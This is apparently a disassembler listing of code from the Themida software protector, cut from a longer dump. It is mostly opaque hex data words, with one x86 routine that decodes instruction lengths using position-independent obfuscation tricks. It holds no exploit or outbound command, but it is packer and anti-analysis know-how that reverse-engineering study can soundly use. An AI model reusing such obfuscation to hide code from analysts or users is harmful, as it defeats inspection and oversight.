3A70A62Fh, 0C5235B59h, 0C511DF2Bh, 0C57837C2h dd 9A5BDFCAh, 0B9F280A6h, 81FADB96h, 0C56FDB7Dh, 923CDFACh dd 43748895h, 0C57BDF2Dh, 98BF0D14h, 40BCC5F4h, 0C373579Bh dd 0C57BDFB3h, 2D2BDF33h, 0C57BDFAFh, 9DB88776h, 0C15F9BA2h dd 0C15F9B14h, 0C57BDFD3h, 0FBB88F25h, 0FBE8B243h, 0B989645Ah dd 0AF33DC8Dh, 0C6938956h, 0E57BDF2Bh, 4C251CCBh, 447FFBBEh dd 0D17FFB21h, 837BDFB2h, 45A91C0Fh, 0D3C2815Bh, 4839A91Dh dd 0CDF50CAEh, 0DBC65293h, 0FE7DD747h, 0F57CAB9Dh, 82B20EBDh dd 0C5112AB2h, 0C57837FAh, 9B5BDF56h, 0B1F281E8h, 81FADBB1h dd 0C567DBEEh, 933DDF65h, 0F0D30F71h, 774A8817h, 0D6926F68h dd 0F87BDF56h, 763BA0BCh, 0E3176C7Ah, 466F1FA2h, 0DC42E469h dd 0C5111E98h, 0C5783709h, 9D5BDFACh, 81F28795h, 81FADB0Fh dd 0C56DDBB1h, 953BDFCAh, 459980A6h, 0C57D53BDh, 2FFADF59h dd 0F82CB7B6h, 0DBEA62D5h, 0CA7AD928h, 0C57B9911h, 15F08DCAh dd 40C65C3Fh, 0C57DDCAEh, 0C54E5A56h, 2EFBDFACh, 18C65C11h dd 0C57DDC07h, 0C5555B9Ah, 0C511DFCAh, 0C5783735h, 9D5BDFB2h dd 81F2879Ah, 81FADB88h, 0C56EDB72h, 953BDF2Bh, 0CA657156h dd 0C57BDD4Ah, 2CAD5465h, 0C57BDF1Ah, 9905653Fh, 0DBEA622Fh dd 0CA7AD955h, 0C57B8BAEh, 937BB595h, 0C57BDC22h, 625FF65h dd 0E10F56ECh, 0E13F5E5Dh, 0C57BC7A8h, 62D9956h, 0BBFDBF8Ch dd 0CF915F65h, 937BB597h, 0C57BDC8Dh, 625FFB2h, 0E10F5607h dd 0E13F5EA8h, 0C57BC352h, 62D992Bh, 71541B6Ah, 1B628A9Ch dd 6A254EEh, 809284E0h, 727BDF59h, 1CF082F1h, 957BB599h dd 0C57BDCC3h, 623FF95h, 0E13F5692h, 0E13F5E61h, 0C57BC2B6h dd 62B9F59h, 0FEA5D6A7h, 332427E5h, 0CA92E2F3h, 0DE7BDF95h dd 1F700398h, 0F0A04232h, 75EFAAADh, 17FAE153h, 0D4965522h dd 4C2F62DBh, 48F6D923h, 0C3735135h, 0FF27C272h, 84FEEC1Eh dd 0EE7DDCA9h, 0C7921E96h, 0A91DD3C2h, 0CAE4839h, 5293CDF5h dd 0D747DBC6h, 0AB9DFE7Dh, 0EBDF57Ch, 0F305E983h, 0FEBD83A4h dd 60888h, 8D8D0D74h, 6034D1Ch, 1B8h, 40E1FF00h, 0B95BB66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 8AC35242h dd 7C59F85Dh, 305FA29Dh, 8E9h, 21063B00h, 61B76BF4h, 2DE883DCh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 6EC35343h dd 3C3CDB9Eh, 0DA8AD98Fh, 8BD38B66h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 2D39E78Eh dd 0F82D7A32h, 83D0B70Fh, 31039BDh, 9750006h, 111DBD83h dd 74000603h, 8B535019h, 3FCB8C0h, 85890000h, 6032391h dd 0B0F89D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh, 50177400h dd 3FCB853h, 85890000h, 6032391h, 0AD999D8Dh, 0D3FF0605h dd 7E9585Bh, 94000000h, 42DEBE67h, 0C08B9207h, 1C8E9h dd 8 dup(41888800h), 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 100h, 14h dup(0) dd 6380C300h, 7577EDh, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 dd 8CED815Dh, 60060891h, 90D985C7h, 608h, 81660000h, 0FA1663Eh dd 0F85h, 0DD85C700h, 6060890h, 0E9000000h, 24h, 90E1858Dh dd 8D500608h, 8913185h, 6A565006h, 1DE800h, 0C4830000h dd 0FF2510h, 85890000h, 60890DDh, 0DDB50361h, 8B060890h dd 890D985h db 6, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_594E8C mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_594E98 ; --------------------------------------------------------------------------- loc_594E8C: ; CODE XREF: Themida_:00594E75j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_594E98: ; CODE XREF: Themida_:00594E87j push ebx push esi push edi loc_594E9B: ; CODE XREF: Themida_:00594EF0j ; Themida_:00594F0Cj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_594EAE: ; CODE XREF: Themida_:00594ED5j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6089243h lea ebp, [ebp+60890B9h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_594EDB inc cl cmp cl, 0Bh jb loc_594EAE loc_594EDB: ; CODE XREF: Themida_:00594ECAj cmp cl, 0Bh jz loc_594F38 cmp al, 66h jnz loc_594F19 cmp byte ptr [ebp-5], 0 jnz loc_594E9B cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_594F11 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_594E9B ; --------------------------------------------------------------------------- loc_594F11: ; CODE XREF: Themida_:00594EFEj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_594F19: ; CODE XREF: Themida_:00594EE6j cmp al, 67h jnz loc_594E9B cmp byte ptr [ebp-6], 0 jnz loc_594E9B xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_594E9B ; --------------------------------------------------------------------------- loc_594F38: ; CODE XREF: Themida_:00594EDEj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh loc_594F41: ; DATA XREF: ___:off_4387F8o mov [ebx], cl jnz loc_594F64 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_594F69 ; --------------------------------------------------------------------------- loc_594F64: ; CODE XREF: Themida_:00594F43j movzx edi, al shr edi, 1 loc_594F69: ; CODE XREF: Themida_:00594F5Fj push ebp call $+5 pop ebp sub ebp, 60892FBh lea ebp, [ebp+6088FB9h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5950EB mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59502F dec ecx jz loc_595012 dec ecx jnz loc_595082 cmp byte ptr [ebp-2], 0 jnz loc_59507E cmp byte ptr [ebp-5], 0 jz loc_594FF1 mov byte ptr [ebp+0Bh], 2 loc_594FF1: ; CODE XREF: Themida_:00594FE7j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 6089387h mov dword ptr [ebp+60890D9h], 1 pop ebp jmp loc_595082 ; --------------------------------------------------------------------------- loc_595012: ; CODE XREF: Themida_:00594FCCj cmp byte ptr [ebp-2], 0 jnz loc_59505C cmp byte ptr [ebp-5], 0 jz loc_59505C mov byte ptr [ebp+0Bh], 2 jmp loc_59505C ; --------------------------------------------------------------------------- loc_59502F: ; CODE XREF: Themida_:00594FC5j cmp byte ptr [ebp-2], 0 jnz loc_595075 cmp byte ptr [ebp-5], 0 jz loc_595064 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_59505C mov [ebp+0Bh], cl loc_59505C: ; CODE XREF: Themida_:00595016j ; Themida_:00595020j ... inc byte ptr [ebp+0Bh] jmp loc_595082 ; --------------------------------------------------------------------------- loc_595064: ; CODE XREF: Themida_:0059503Dj cmp dl, 5 jnz loc_595082 mov [ebp+0Bh], dl jmp loc_595082 ; --------------------------------------------------------------------------- loc_595075: ; CODE XREF: Themida_:00595033j cmp dl, 6 jnz loc_595082 loc_59507E: ; CODE XREF: Themida_:00594FDDj mov byte ptr [ebp+0Bh], 3 loc_595082: ; CODE XREF: Themida_:00594FD3j ; Themida_:0059500Dj ... dec byte ptr [ebp+0Bh] jz loc_5950B0 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_595092: ; CODE XREF: Themida_:005950A8j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_595092 mov esi, edx loc_5950B0: ; CODE XREF: Themida_:00595085j and al, 0FEh cmp al, 0F6h jnz loc_5950E5 cmp edi, 7Fh ja loc_5950E5 test bl, 38h jnz loc_5950E5 cmp byte ptr [ebp-7], 0 jz loc_5950DF movzx eax, byte ptr [ebp-4] jmp loc_5950E2 ; --------------------------------------------------------------------------- loc_5950DF: ; CODE XREF: Themida_:005950D0j push 1 pop eax loc_5950E2: ; CODE XREF: Themida_:005950DAj mov [ebp-1], al loc_5950E5: ; CODE XREF: Themida_:005950B4j ; Themida_:005950BDj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5950EB: ; CODE XREF: Themida_:00594F95j mov al, bl and eax, 7 sub eax, 4 jz loc_595116 dec eax dec eax jz loc_59510C and bl, 7 add [ebp-1], bl jmp loc_59511E ; --------------------------------------------------------------------------- loc_59510C: ; CODE XREF: Themida_:005950FBj mov al, [ebp-3] add al, 6 jmp loc_59511B ; --------------------------------------------------------------------------- loc_595116: ; CODE XREF: Themida_:005950F3j mov al, [ebp-3] add al, 4 loc_59511B: ; CODE XREF: Themida_:00595111j add [ebp-1], al loc_59511E: ; CODE XREF: Themida_:00595107j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_595146 movzx ecx, byte ptr [ebp-1] inc ecx loc_595131: ; CODE XREF: Themida_:00595140j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_595131 loc_595146: ; CODE XREF: Themida_:00595126j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLS_0 db '‹Ðè',7,0 align 4 dd 0EE4B1908h, 661CC24Fh, 5B1AB1B8h, 0C3C381F9h, 6000005Ch dd 8F0F93B4h, 3, 61DF8B66h, 0B9h, 8BC78B00h, 0B2530B3Ch dd 0EF8158EEh, 78AB8A45h, 81F1BF0Fh, 0D5AE46EFh, 58B0F64h dd 66000000h, 0FD13C081h, 0E9A2C781h, 0EE929DFh, 2B000000h dd 941C479Dh, 768102D9h, 38897B94h, 0B8665718h, 48F48CBh dd 3E5BB80Bh, 890F0729h, 4, 0AB8AB866h, 5604E983h, 12E9h dd 74C8ED00h, 0E7D5C551h, 0DD975B86h, 0DC119474h, 5E41CDF0h dd 0A418F981h, 850FFFFFh, 1Eh, 0CE9h, 0C08EAF00h, 6B33AABAh dd 0A6737084h, 29E9ABh, 0EF5E0000h, 0C6F109F4h, 0EE8D245h dd 0AE000000h, 24832C86h, 1D9DF9EDh, 8DCD04C8h, 0E95EFCA3h dd 0FFFFFF4Fh, 28862283h, 0EB970649h, 0E9E34E08h, 0E7339C2Bh dd 0D79E977h, 0C2680000h, 0E9060897h, 0FFFAE78Dh, 898A868h dd 0E783E906h, 7168FFFAh, 0E906089Ah, 0FFFAE779h, 89BAA68h dd 0E76FE906h, 3368FFFAh, 0E906089Dh, 0FFFAE765h, 89F7268h dd 0E75BE906h, 0D068FFFAh, 0E90608A0h, 0FFFAE751h, 8A1A668h dd 0E747E906h, 6534FFFAh, 0DCB90C40h, 4A2CB1D7h, 0B65E23A1h dd 29CE5331h, 0B766CC80h, 0E7E50EE3h, 6B797E12h, 99CFF486h dd 85C6134h, 80193169h, 0FC71065Ah, 89A96A4Ch, 7648E84Fh dd 2A1E9513h, 6C2AA243h, 99F3F899h, 7A1D70CCh, 2D581775h dd 0B219A277h, 7E54F4h, 0A15B7512h, 0BE11089h, 74016C71h dd 9EDE04Fh, 0BE1E4E4h, 52DBF2Ah, 710BE088h, 0BAD2D7B8h dd 0B14445D7h, 0A2095C0Ch, 5F83A12Ah, 5812D4FFh, 0BE057F0h dd 0E70CE971h, 3AA1E0E5h, 37567ABEh, 0AB3DC256h, 3DC6AB3Eh dd 3E687C47h, 4967936Ah, 55000000h, 0B2DADFB0h, 1DA59D7h dd 67618A6Ch, 65F0F99Ah, 5755208Fh, 0FF7D0F1Bh, 64F37511h dd 1FB8904Ah, 9D710BDFh, 0F21A72CEh, 710BDF55h, 3F396DD3h dd 936A4125h, 8B86DD7Eh, 0D0B83DD1h, 0F376E4B5h, 49DFF75h dd 1E000001h, 2AA2432Ah, 7109B247h, 556254AEh, 0DE5A3F31h dd 0AB4C238Eh, 967721h, 4446D03h, 0F792FA41h, 7C811479h dd 25CEA342h, 264A26A3h, 0F16ABE78h, 4F770E02h, 266FF4Bh dd 0FDA770Eh, 16E4C4A0h, 48770E07h, 0D24C00A5h, 0B22A3F01h dd 5AD69177h, 0D5F6037h, 0D9910F7Ah, 0B9E22806h, 0C7BDBF0Ah dd 9337A189h, 76E57511h, 31AA7E38h, 8F710B77h, 7F085CD8h dd 70D89614h, 6F092842h, 601304D7h, 4B7E2094h, 6901D4EDh dd 40029BAFh, 0EB7E7708h, 0DF99530Dh, 83FD24Bh, 3DBB2E77h dd 0AE22C7A8h, 0F54736DBh, 0F008F44Dh, 0E0ADC453h, 0B9E6D6ACh dd 0AC73CD1h, 9E80000h, 801DE0E4h, 0EE80157Bh, 5A3287C5h dd 0CDA23755h, 13C2A024h, 5B09B247h, 0CF9D22F6h, 7D13987Ah dd 0ECE005E8h, 0DC75D5D5h, 20710659h, 452AD390h, 0A209B244h dd 65FE4A04h, 0DB770EF0h, 49DCB00Ch, 846901A6h, 0CB9ECEF3h dd 0F05A196Dh, 0FF4B6785h, 7511FF4Dh, 0AC7414C3h, 710BDF2Fh dd 51347FDh, 936A40FFh, 0D8F8h, 2404BE00h, 710BD3ABh, 75EE4A11h dd 2AA2432Ah, 5F09B247h, 436434D9h, 0F4F7C5E5h, 6302770Eh dd 65606891h, 9213FA8Fh, 0CAAD40FEh, 533A4F25h, 28D3A52h dd 563BCAE4h, 575C3EADh, 9AD45035h, 0E3553FE0h, 94143534h dd 4C5765C3h, 70CC60BDh, 1125CE58h, 0CB994C75h, 0D3D4B84Dh dd 19FEA55h, 0C0C4C169h, 0A5306F08h, 1297780Dh, 0FD06EB7Eh dd 0D6A0F3C2h, 0D30EDEE6h, 9E1h, 9ACEEF82h, 0F5D6637h dd 0B92FD4BAh, 29BF40D4h, 5A0EB344h, 98792DE8h, 8E87D13h dd 7E1CE1E7h, 0EB821775h, 0BBFF86CAh, 658F66Fh, 39BA4A71h dd 376452Ah, 2E9D607Ah, 0DD21AA1Eh, 27026CBCh, 7BC6AD56h dd 29D49C3Fh, 354A6B0Fh, 0D8AE0EC3h, 3341D9E8h, 0CDA11FEAh dd 7C109578h, 886C0107h, 66FF4B67h, 0DA770EF0h, 39DCB10Fh dd 8362D4B4h, 0C580C8F1h, 72731A6Fh, 8826511Eh, 0FB2C5AEEh dd 0ECAA7511h, 0BD2C35Ch, 51CA5E71h, 0AF710BD2h, 0E7721938h dd 0AD523ACBh, 0F16FB7D7h, 3710BD2h, 0B31E4E6Fh, 0CAB1DBDCh dd 4D14A6EAh, 0BE57F3ADh, 2710BD2h, 0B1E5D957h, 6A309DA7h dd 6685A93h, 0F0E50000h, 914B6785h, 0EF1782CEh, 2D8BCD20h dd 11584F1Dh, 4E1ECD75h, 0B5829A6h, 1539E771h, 69B5F903h dd 640F693h, 0F0010000h, 3609AD85h, 5933B85Ah, 72CD6B0Ch dd 0CE47D9FEh, 1EA8AF2Ah, 5153F7B3h, 0EF7511BDh, 81CBEC80h dd 0C76F79C4h, 710B7E4Ah, 0FBED12FAh, 117B8016h, 5AB339BEh dd 0FB882961h, 1AA51539h, 0DEE6F226h, 99936A2Bh, 5F6h dd 886C011Ah, 5F606567h, 0BDF9C798h, 3B926EE3h, 3CBAC545h dd 0B1F0A682h, 0FC97511h, 0B78A23Bh, 0ED4B1E71h, 0C26A01D4h dd 0F4F88FDCh, 0AAE9C1CCh, 0ED7BD757h, 76169B78h, 60F38413h dd 0A74F81E7h, 45E59D68h, 0EAFBA1EFh, 2DC0FE6Dh, 0A2CAA64Bh dd 0DDF323F4h, 5F1FFCB2h, 8D2B56E1h, 53983BF5h, 0C80AD44Fh dd 0BBF3DB51h, 5E8FC65h, 0A45E1856h, 0F8660B84h, 0EEA71ECh dd 5713947Bh, 66148D9Dh, 0FD68ECF8h, 0F79E6307h, 4D1ABFF6h dd 0FDF6CC6h, 818D2h, 37B85B00h, 8A2FCC51h, 149D73C6h dd 0E409ED70h, 777C1DE0h, 36649311h, 0A1345861h, 0D5B82CD1h dd 5B2EA247h, 45D33B4h, 562DA682h, 0E1937106h, 0A2432A02h dd 96B26C2Ah, 770EF0FDh, 0AF189443h, 575C3EE4h, 0ADC55035h dd 739920F3h, 0BA3601Ah, 2AC39DADh, 0D2B97507h, 8A6D00BEh dd 0F2BF8F65h, 1A710620h, 9015F86Fh, 2BC9B3FCh, 211ABB8Fh dd 0C3967106h, 594C0F89h, 88AB5A91h, 0B84A4C2h, 7171066Dh dd 947B0EEAh, 56B01FC0h, 47472411h, 632CC45h, 0D2763071h dd 71063239h, 645D087h, 4E1B4D72h, 5126C7E3h, 90B8CCA8h dd 710632E3h, 167A7F1Dh, 0AFCBEC83h, 757E10F5h, 0BD567613h dd 3710632h, 68B0D854h, 0A5CDA2EBh, 0F688DC10h, 67CA9E1Fh dd 0BB7D6F90h, 0FD69AC18h, 0EE4A2861h, 17ED41DEh, 0CB1F157Dh dd 8227F598h, 4C219FCAh, 8D4004A9h, 12Dh, 0A2432A30h, 0CB5472Ah dd 820DA5Ch, 770EF08Fh, 0AA827EEDh, 770EF031h, 9D732CC3h dd 0A8DF8914h, 0E9A3DFDDh, 30FE5336h, 947B8A28h, 288413h dd 75070346h, 0A30EA134h, 36E0D8D2h, 6DFBB56h, 0F1800000h dd 683598CCh, 0D6B80D43h, 422ABF2Dh, 0B55A2FBDh, 2BEA580Ch dd 73119A7Fh, 0E7E50AEEh, 157B8012h, 84C8ED80h, 0F46DBDFDh dd 48710655h, 432A3BB8h, 8E6104A2h, 8E6A7F69h, 0C25538FEh dd 993EAB3Dh, 17E1ED80h, 0B1D45089h, 20B5DBE0h, 7D3BA952h dd 1C88B7DAh, 4622B08Fh, 0FAB4C23h, 4DDA997Eh, 812136C7h dd 0C6AB3D88h, 4622892Eh, 31BA5F22h, 1A079479h, 0E6E64D72h dd 986505E3h, 99AF2F7h, 0EA8FC70Bh, 39535839h, 545939ACh dd 481D9BC9h, 0E54800A5h, 0E8FDEF14h, 889CA71Dh, 47996CD8h dd 11h, 8A6C01F0h, 658A6261h, 978A6663h, 82h, 0A2432A2Eh dd 85022Ah, 5B59770Fh, 17987F37h, 0E50EEC71h, 505538CDh dd 3454593Dh, 6BB3DB51h, 770EE0EDh, 0CED2853Dh, 55D4A373h dd 71A59917h, 32565B39h, 0A3482A41h, 0DEB64429h, 0EF0D14Ah dd 6A8B6377h, 99D1BC2Bh, 279D26F4h, 3458C447h, 751BA072h dd 0EE822A5h, 0F98C2A77h, 2E159318h, 996D4617h, 0E1AD48Eh dd 770EF095h, 0B32C7CEBh, 9770EF0h, 8EF4E642h, 7FFFFFEh dd 2F15Ah dd 432AD900h, 175304A2h, 23667E49h, 739BF349h, 770ED4C6h dd 2179AD91h, 563BA94Eh, 86AE3EBFh, 770ED4F9h, 7A3442Bh dd 0D464FD4Dh, 0DD8770Eh, 0E590D7B7h, 0C59FABC7h, 0DC750768h dd 678D0622h, 64F37106h, 8322A988h, 0E0D84F12h, 56322FBFh dd 19000005h, 8217757Ah, 3184C8F1h, 0A3365A5Fh, 0D3A62ACBh dd 5DD7B53Eh, 9E23F4A2h, 129367CAh, 0E009EB7Eh, 717619ECh dd 0E4444213h, 7106536Bh, 2A4C2FD1h, 33B85A43h, 0B85924A4h dd 0C7029AF9h, 7C1D05D6h, 767E7F15h, 9EF25993h, 0D43640Bh dd 0BAD2D7B8h, 0BEB35BFCh, 94C5F512h, 1FA47518h, 3266DE4Dh dd 7E129778h, 6D0FAFB5h, 230A899h, 0F0CB0000h, 0DE666686h dd 0ACE55ADFh, 0BCAFF321h, 2A63CB1Bh, 20087B90h, 7820BFA7h dd 7DFB4615h, 7F1D2E36h, 208299Ah, 0F04A0000h, 0E0486686h dd 770EF067h, 0BE4606D5h, 0ACE55ABFh, 9CCF1301h, 1CE1F5FBh dd 2EC64493h, 3F8ADF89h, 186A7241h, 0DB659A7Fh, 96000001h dd 486686F0h, 0F021BA8Eh, 0C89F770Eh, 7116326Ch, 0CF770EF0h dd 0C9A87018h, 17ACE55Ah, 0CC86E529h, 1FF2E37Ch, 0F4B25978h dd 1FF2BB54h, 0DE5A0178h, 7E4FCFD5h, 1A0889Ah, 2DEE0000h dd 4FA19FC0h, 970CE811h, 30D95E01h, 580AF1BAh, 8B2953DCh dd 0ECBA5BEFh, 0A336770Eh, 57220129h, 0C86EACE5h, 0F6A13A0Eh dd 481F781Fh, 9C84C8ECh, 9A7E5488h, 16547h, 432AF000h dd 0B0472AA2h, 632E590Fh, 866A2D45h, 95C6EB0Ch, 0F9510FE5h dd 75119023h, 0D807D586h, 0FB8AC62h, 83C590B1h, 0B6DDE7Bh dd 0A2F62A71h, 69CAAEB6h, 7D10F593h, 0EF8D1078h, 78C782CAh dd 4B9EFCh, 0F0190000h, 0FF4B6785h, 7511FF4Dh, 0C55EEAA4h dd 3B710BDFh, 6AF1D0ACh, 1DB6924Ch, 4710BE0h, 0BDFAB24h dd 4B4A1171h, 0CE48209Ch, 0D8545D3Fh, 0BDF53F0h, 3F63D171h dd 6A412339h, 62C68093h, 710BD3E9h, 36248057h, 0BCh, 68432A41h dd 0E8ED649Ch, 0C79F09D7h, 820A9728h, 0EBACCA51h, 59D80159h dd 4424806Ah, 5A5B33D2h, 0F1B5732h, 770E8F96h, 0EC817FEAh dd 1BE6E60Bh, 0B4197374h, 6088DCE1h, 770E9492h, 0F35729CCh dd 770E8B5Ah, 0AA433A6h, 0CEE977Bh, 2F4718E7h, 641EBE98h dd 18573BB1h, 17334F6Dh, 750C3508h, 7015AD38h, 0E3761A9Fh dd 0D3CAE50Eh, 0EE0D53Ch, 317E37Eh, 0B9580000h, 30CD5034h dd 9E70C58Bh, 0AE27715h, 7D12E7E5h, 63921074h, 0B596237h dd 0BF2DD2A6h, 2DA3482Ah, 5C30B558h, 2CA58505h, 90710651h dd 452A03E0h, 48E0B444h, 770EF0CFh, 0B9D3BE2Dh, 0BE03412Ch dd 0C1B2D6D7h, 2AA2432Ah, 590FB047h, 0EF113B1h, 6E8CF777h dd 14F6F850h, 0A1347512h, 4701B023h, 0EF06AE3h, 93D0A877h dd 2F6D8CB1h, 0E68B61F4h, 3DD0EE0Fh, 54315B60h, 4A2DB0D8h dd 0A837BC5Dh, 31008B24h, 0E998019h, 8269FC77h, 0A98E44E4h dd 590C7511h, 0A96AE70Fh, 7AA6710Bh, 73A4256h, 3835936Ah dd 46000000h, 4B6785F0h, 65E0CE91h, 0B1B439C1h, 0E820099h dd 2E97C77h, 90F486A6h, 0FF6A7511h, 0B85A2BEDh, 0B00C5933h dd 0B72FB98h, 0C70B0971h, 69D3CBD1h, 0B78493h, 2A370000h dd 6104A243h, 0BB7D6F94h, 0EF0F66Fh, 309F4A77h, 0A849D4B4h dd 11E44903h, 7E11FCECh, 0F5C36B79h, 2F770EF4h, 5C21A748h dd 135434B9h, 1C2C4A68h, 751209EEh, 0DCEBF96Ch, 4C27CBB1h dd 8D02CCA1h, 0FA412C9Eh, 15776CBCh, 0DEB56F09h, 0B1D4B43Dh dd 19F98C2Ah, 0C091F494h, 96985507h, 2967DDA6h, 5A0EB344h dd 44A33BDCh, 7A2233C2h, 0FD06EBFEh, 0D6DBCDC2h, 0E17C0CE6h dd 1B9h, 0F29617FAh, 67658E6Fh, 91F7FC92h, 147680Ch, 0B2D6DBBCh dd 0C0510530h, 30C0553Bh, 0A674D98Fh, 13FA4F1Dh, 0E3A7FE92h dd 650CE47h, 0E1823271h, 28BC452Ah, 5F0DB245h, 6785F024h dd 0FF4DFF4Bh, 14C37511h, 0DF2FAC74h, 2FC1710Bh, 9B7FC28Ah dd 2B09721Ah, 100C57E7h, 2FCCA1CCh, 0DF58F159h, 31A4710Bh dd 0C9A722AAh, 6A40E2FAh, 0B69D93h, 2A1E0000h, 472AA243h dd 981DF1B2h, 21F695F0h, 0B35B0D98h, 770EF5C5h, 5A5F31D4h dd 0C3E48BDEh, 5055388Dh, 0E6048F38h, 0A5260C8h, 15C07512h dd 5724C977h, 13AF3A52h, 0BC99E37h, 0F977E271h, 0DA5434Eh dd 965073Dh, 98D6856Fh, 0CC9C21F5h, 80652399h, 3386CAEFh dd 0EF1A555Eh, 72E6D64Ch, 0E3479Ah, 0ED8C0000h, 643184C8h dd 0D2A4095Fh, 3ED6BB29h, 0B1462BB9h, 2FEE4408h, 7F6D967Bh dd 0E3E106EAh, 11777C1Eh, 80C4E98Ch, 0F891B9F1h, 4471064Fh dd 452A37B4h, 0B24528BCh, 956522F5h, 866D7810h, 31EB553Bh dd 0EF08019h, 0D7A3FC77h, 0E93ADEF5h, 0E96AC6ADh, 2AA2432Ah dd 590FB047h, 2D45632Eh, 5731BA58h, 3ABB5F32h, 954600BEh dd 0F08C1D3Dh, 44D4BB7Fh, 27E5C5A3h, 1575074Bh, 0D4BB0646h dd 4528BDD3h, 310028A0h, 4753E705h, 0AEDA5E9h, 7B12E7E5h dd 0E78F127Ah, 49F7A8C6h, 96FAD87Ch, 0F8E38B61h, 3BF590C4h dd 256076EFh, 0A11FCA4Bh, 997C29CCh, 0E4E409ECh, 0EC451AE1h dd 120BFD05h, 0C699D1BCh, 987F975Ch, 4F107517h, 67034CE8h dd 25A94AC3h, 4523B64Bh, 34B95C21h, 3B954h, 3C40000h, 0A6472A80h dd 33B45B26h, 9D26F459h, 6D9266CBh, 0F801967Bh, 476C0D90h dd 0D3D4B805h, 0B942D4B9h, 8B1422Fh, 89570B40h, 4C781E7h dd 83000000h, 3C8704EFh, 1C895C24h, 0E7895724h, 4C781h dd 0EF830000h, 243C8704h, 243C895Ch, 56BD68h, 240C8900h dd 461BBD55h, 0BB530D50h, 14007B7Dh, 815BDD29h, 682F64CDh dd 0E5F5815Bh, 0F7377211h, 0FAF581D5h, 8935EA97h, 0D1685DEFh dd 89000067h, 4812424h, 424h, 89525900h, 85189FAh, 8124148Bh dd 4C4h, 240C8B00h, 81E28952h, 4C2h, 4C28100h, 87000000h dd 0FF5C2414h, 835F2434h, 22E904C4h, 96FFFADAh, 0B8BBBB27h dd 608A2AEh, 0E0FFC503h, 3D54837Dh, 676D1F8Fh, 766AF670h dd 6D139D14h, 39EA06F3h, 4690EAD8h, 6CA8D110h, 375BE980h dd 2B07CC5h, 55A2761Eh, 170501D2h, 27E9E08Fh, 2F77991Fh dd 18E1D9EFh, 2D9849EFh, 6645993Fh, 15CE9h, 0FE1F5300h dd 0E64BF5F0h, 0F458AB96h, 0FF56360Ah, 0FC567E53h, 0F758D00Ah dd 0DC713E53h, 8E245E3Ah, 0AE254B53h, 1A794DC4h, 0C9B68760h dd 0B8148A52h, 0B8151153h, 0B8149C53h, 0B8144A53h, 0B8142753h dd 0B8149353h, 0B814E653h, 0B814E453h, 0B8147A53h, 0B8143953h dd 0CB6DCF53h, 0B8792B27h, 0D7667773h, 0CB67F630h, 0B814C90Eh dd 0B814E453h, 0B8147253h, 0B8143953h, 0B8149C53h, 0B8144E53h dd 0B8142753h, 0B8149353h, 0B814C953h, 0B814E453h, 0B8147253h dd 0B8143953h, 0B8149C53h, 0B8144E53h, 0B8142753h, 0B8149353h dd 0B814C953h, 0B814E453h, 0B8147253h, 0B8143953h, 0B8149C53h dd 0B8144E53h, 0B8142753h, 0B8149353h, 0B814C953h, 0B814E453h dd 0B8147253h, 0B8143953h, 0B8149C53h, 0B8144E53h, 0B8142753h dd 0B8149353h, 0B814C953h, 0B814E453h, 0B8147253h, 0B8143953h dd 